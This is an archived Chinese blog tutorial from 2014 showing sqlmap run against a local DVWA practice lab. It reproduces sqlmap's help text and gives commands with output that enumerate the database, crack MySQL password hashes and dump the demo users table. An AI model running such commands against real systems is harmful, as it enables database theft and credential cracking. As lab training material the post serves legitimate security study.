[历史归档]本文原发布于 cstriker1407.info 个人博客，内容为历史存档，仅供参考。
发布时间：2014-04-27｜ 标题：使用SQLMAP注入DVWA｜分类：操作系统 / 安全 ｜标签：DVWA·SQL注入·sqlmap

！！！笔记仅供学习交流使用，请勿进行其他用途！！！

当我们知道了一个请求可以注入的时候，我们可以使用SQLMAP来自动化的进行注入。

获取相关信息

首先获取到可以注入的请求，以及HTTP头消息。如下图：

SQLMAP的帮助文档

帮助文档很多，不过排版很不错，还是很好查的，实际使用起来还是非常好用的。

root@kali:~# sqlmap -hhUsage: python ./sqlmap Options: -h,--helpShow basichelpmessage andexit-hhShow advancedhelpmessage andexit--versionShow program's version number andexit-vVERBOSE Verbosity level:0-6(default1)Target: At least one of these options has to be provided tosetthe target(s)-dDIRECT Direct connection to the database-uURL,--url=URL Target URL(e.g."www.target.com/vuln.php?id=1")-lLOGFILE Parse targets from Burp or WebScarab proxy logs-mBULKFILE Scan multiple targets enlistedina given textualfile-rREQUESTFILE Load HTTP request from afile-gGOOGLEDORK Process Google dork results as target URLs-cCONFIGFILE Load options from a configuration INIfileRequest: These options can be used to specify how to connect to the target URL--data=DATA Data string to be sent through POST --param-del=PDEL Character usedforsplitting parameter values--cookie=COOKIE HTTP Cookie header --cookie-del=CDEL Character usedforsplitting cookie values --load-cookies=L..File containing cookiesinNetscape/wgetformat--drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header--host=HOST HTTP Host header--referer=REFERER HTTP Referer header--headers=HEADERS Extra headers(e.g."Accept-Language: fr ETag: 123")--auth-type=AUTH..HTTP authenticationtype(Basic, Digest, NTLM or Cert)--auth-cred=AUTH..HTTP authentication credentials(name:password)--auth-cert=AUTH..HTTP authentication certificate(key_file,cert_file)--proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO..Proxy authentication credentials(name:password)--proxy-file=PRO..Load proxy list from afile--ignore-proxy Ignore system default proxy settings--torUse Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxytype(HTTP(default), SOCKS4 or SOCKS5)--check-tor Check to seeifTor is used properly--delay=DELAY Delayinseconds between each HTTP request--timeout=TIMEOUT Seconds towaitbeforetimeoutconnection(default30)--retries=RETRIES Retries when the connection timeouts(default3)--randomize=RPARAM Randomly change valueforgiven parameter(s)--safe-url=SAFURL URL address to visit frequently during testing --safe-freq=SAFREQ Test requests between two visits to a given safe URL --skip-urlencode Skip URL encoding of payload data --force-ssl Force usage of SSL/HTTPS--hppUse HTTP parameter pollution--eval=EVALCODE Evaluate provided Python code before the request(e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")Optimization: These options can be used to optimize the performance of sqlmap-oTurn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s)connections --null-connection Retrieve page length without actual HTTP response body--threads=THREADS Max number of concurrent HTTP(s)requests(default1)Injection: These options can be used to specifywhichparameters totestfor, provide custom injection payloads and optional tampering scripts-pTESTPARAMETER Testable parameter(s)--skip=SKIP Skip testingforgiven parameter(s)--dbms=DBMS Force back-end DBMS to this value --dbms-cred=DBMS..DBMS authentication credentials(user:password)--os=OS Force back-end DBMS operating system to this value --invalid-bignum Use big numbersforinvalidating values --invalid-logical Use logical operationsforinvalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism--prefix=PREFIX Injection payload prefix string--suffix=SUFFIX Injection payload suffix string--tamper=TAMPER Use given script(s)fortampering injection data Detection: These options can be used to customize the detection phase--level=LEVEL Level of tests to perform(1-5, default1)--risk=RISK Risk of tests to perform(0-3, default1)--string=STRING String to match when query is evaluated to True --not-string=NOT..String to match when query is evaluated to False--regexp=REGEXP Regexp to match when query is evaluated to True--code=CODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content--titlesCompare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques--technique=TECH SQL injection techniques to use(default"BEUSTQ")--time-sec=TIMESEC Seconds to delay the DBMS response(default5)--union-cols=UCOLS Range of columns totestforUNION query SQL injection --union-char=UCHAR Character to useforbruteforcing number of columns --union-from=UFROM Table to useinFROM part of UNION query SQL injection --dns-domain=DNS..Domain name usedforDNS exfiltration attack --second-order=S..Resulting page URL searchedforsecond-order response Fingerprint: -f,--fingerprintPerform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data containedinthe tables. Moreover you can run your own SQL statements -a,--allRetrieve everything -b,--bannerRetrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database--hostnameRetrieve DBMS serverhostname--is-dba Detectifthe DBMS current user is DBA--usersEnumerate DBMSusers--passwordsEnumerate DBMSuserspassword hashes--privilegesEnumerate DBMSusersprivileges--rolesEnumerate DBMSusersroles--dbsEnumerate DBMS databases--tablesEnumerate DBMS database tables--columnsEnumerate DBMS database table columns--schemaEnumerate DBMS schema--countRetrieve number of entriesfortable(s)--dumpDump DBMS database table entries --dump-all Dump all DBMS databases tables entries--searchSearch column(s), table(s)and/or database name(s)--commentsRetrieve DBMS comments-DDB DBMS database to enumerate-TTBL DBMS database table to enumerate-CCOL DBMS database tablecolumnto enumerate-UUSERDBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables--start=LIMITSTART First query output entry to retrieve--stop=LIMITSTOP Last query output entry to retrieve--first=FIRSTCHAR First query output word character to retrieve--last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Promptforan interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s)Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-definedfunctioninjection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlyingfilesystem --file-read=RFILE Read afilefrom the back-end DBMSfilesystem --file-write=WFILE Write alocalfileon the back-end DBMSfilesystem --file-dest=DFILE Back-end DBMS absolute filepath towriteto Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating systemcommand--os-shell Promptforan interactive operating system shell --os-pwn Promptforan OOB shell, meterpreter or VNC --os-smbrelay One click promptforan OOB shell, meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key valuetypeGeneral: These options can be used tosetsome general working parameters-sSESSIONFILE Load session from a stored(.sqlite)file-tTRAFFICFILE Log all HTTP traffic into a textualfile--batchNever askforuser input, use the default behaviour--charset=CHARSET Force character encoding usedfordata retrieval--crawl=CRAWLDEPTH Crawl the website starting from the target URL --csv-del=CSVDEL Delimiting character usedinCSV output(default",")--dump-format=DU..Format of dumped data(CSV(default), HTML or SQLITE)--etaDisplayforeach output the estimatedtimeof arrival --flush-session Flush session filesforcurrent target--formsParse andtestforms on target URL --fresh-queries Ignore query results storedinsessionfile--hexUse DBMS hex function(s)fordata retrieval --output-dir=ODIR Custom output directory path --parse-errors Parse and display DBMS error messages from responses --pivot-column=P..Pivotcolumnname--saveSave options to a configuration INIfile--scope=SCOPE Regexp to filter targets from provided proxy log --test-filter=TE..Select tests by payloads and/or titles(e.g. ROW)--updateUpdate sqlmap Miscellaneous:-zMNEMONICS Use short mnemonics(e.g."flu,bat,ban,tec=EU")--alert=ALERT Run shell command(s)when SQL injection is found--answers=ANSWERS Set question answers(e.g."quit=N,follow=N")--beepMake a beep sound when SQL injection is found --check-waf Heuristically checkforWAF/IPS/IDS protection--cleanupClean up the DBMS from sqlmap specific UDF and tables--dependenciesCheckformissing(non-core)sqlmap dependencies --disable-coloring Disable console output coloring--gpage=GOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a through testingfora WAF/IPS/IDS protection--mobileImitate smartphone through HTTP User-Agent header --page-rank Display page rank(PR)forGoogle dork results --purge-output Safely remove all content from output directory--smartConduct through tests onlyifpositive heuristic(s)--wizardSimple wizard interfaceforbeginnerusers[*]shutting down at20:23:00

使用示例：

查看当前数据库的信息：

root@kali:~# sqlmap -u "http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ermi7gj68qhu6o2oi7s279fej0" -a。。。。。。 。。。。。。 web application technology: PHP5.5.11, Apache2.4.9 back-end DBMS: MySQL5.0banner:'5.6.16'[20:27:15][INFO]fetching current user current user:'root@localhost'[20:27:15][INFO]fetching current database current database:'dvwa'[20:27:15][INFO]fetching serverhostname[20:27:15][WARNING]reflective value(s)found and filtering out hostname:'cstriker1407-ubuntu'[20:27:15][INFO]testingifcurrent user is DBA[20:27:15][INFO]fetching current user current user is DBA: True[20:27:16][INFO]fetching databaseusersdatabase management systemusers[5]:[*]''@'linux'[*]''@'localhost'[*]'pma'@'localhost'[*]'root'@'linux'[*]'root'@'localhost'。。。。。。 。。。。。。

上述命令也会提示是否破解密码，我们也可以使用下面的命令来破解密码：

root@kali:~# sqlmap -u "http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ermi7gj68qhu6o2oi7s279fej0" --users --password。。。。。 。。。。。 database management systemusers[5]:[*]''@'linux'[*]''@'localhost'[*]'pma'@'localhost'[*]'root'@'linux'[*]'root'@'localhost'[20:29:56][INFO]fetching databaseuserspassword hashesdoyou want to store hashes to a temporaryfileforeventual further processing with other toolsdoyou want to perform a dictionary-based attack against retrieved password hashes?[Y/n/q][20:30:01][INFO]usinghashmethod'mysql_passwd'[20:30:01][INFO]resuming password'123456'forhash'*6bb4837eb74329105ee4568dda7dc67ed2ca2ad9'foruser'root'database management systemuserspassword hashes:[*]pma[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[*]root[1]: password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 clear-text password:123456[20:30:01][INFO]fetched data logged to text files under'/usr/share/sqlmap/output/192.168.168.109'[*]shutting down at20:30:01

TUOKU，这里选择 dvwa 数据库的 users 表，sqlmap也会提示是否破解：

root@kali:~# sqlmap -u "http://192.168.168.109/DVWA-1.0.8/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=ermi7gj68qhu6o2oi7s279fej0" -D dvwa -T users --dump。。。。。 。。。。。[20:35:26][INFO]postprocessing table dump Database: dvwa Table:users[5entries]+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+|user_id|user|avatar|password|last_name|first_name|+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+|1|admin|dvwa/hackable/users/admin.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|admin|admin||2|gordonb|dvwa/hackable/users/gordonb.jpg|e99a18c428cb38d5f260853678922e03(abc123)|Brown|Gordon||3|1337|dvwa/hackable/users/1337.jpg|8d3533d75ae2c3966d7e0d4fcc69216b(charley)|Me|Hack||4|pablo|dvwa/hackable/users/pablo.jpg|0d107d09f5bbe40cade3de5c71e9e9b7(letmein)|Picasso|Pablo||5|smithy|dvwa/hackable/users/smithy.jpg|5f4dcc3b5aa765d61d8327deb882cf99(password)|Smith|Bob|+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+[20:35:26][INFO]table'dvwa.users'dumped to CSVfile'/usr/share/sqlmap/output/192.168.168.109/dump/dvwa/users.csv'[20:35:26][INFO]fetched data logged to text files under'/usr/share/sqlmap/output/192.168.168.109'[*]shutting down at20:35:26